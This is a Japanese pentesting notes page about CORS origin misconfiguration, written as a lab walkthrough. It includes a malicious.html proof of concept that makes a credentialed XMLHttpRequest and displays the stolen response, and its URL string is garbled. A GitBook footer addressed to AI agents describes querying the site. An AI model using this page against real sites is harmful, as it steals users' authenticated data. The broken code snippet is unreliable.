> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/cors-origin-pentesting-web.md).

# CORS オリジンの設定ミス

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための CORS オリジンの設定ミスメモ。

### クロスオリジン・リソース共有（CORS）：

この情報はすべてウェブサイトで入手できます：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bca3a097a43777aefb5cc0e4f324284a3fb74d95%2FPasted%20image%2020231109230821.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Burp Suiteでそれを傍受し、2つのフィールド「**アクセス制御の資格情報**」と「**オリジン**」がレスポンスで誤設定されています：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acd7d87fdcf3dec63036c3bb5bb25ee53fc24ad3%2FPasted%20image%2020231109231051.png?alt=media" alt=""><figcaption></figcaption></figure>

次を追加します **新しいフィールド オリジン** をリクエストに、ウェブページのリンクの例「google.com」とともに追加し、それが受け入れられることを確認します：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-806f5f2e183011645aad55fac3af51e23e2b70c0%2FPasted%20image%2020231109231254.png?alt=media" alt=""><figcaption></figcaption></figure>

web **malicious.html** を作成して、origin と credentials のフィールドで脆弱性を悪用します：

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>ハッキングされました。これは私があなたから盗んだ情報です</h1></center>
<p id="stolenInfo"></p>

```

次の **Python**、Webサーバーを作成します：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4a10073d616f768612a5006f3c3511b13adc7ad%2FPasted%20image%2020231109233929.png?alt=media" alt=""><figcaption></figcaption></figure>

Webサイトにアクセスすると、機密情報はまだ **当サイトに送信されていません**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c566c136b6c2279e6ab304cdbbd816da78a788d1%2FPasted%20image%2020231109234141.png?alt=media" alt=""><figcaption></figcaption></figure>

CORSが適切に設定されていれば、以下のエラーが表示されたはずです：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cf59970bac4ecfe732b394591a65aaec7db6201%2FPasted%20image%2020231109234602.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/cors-origin-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
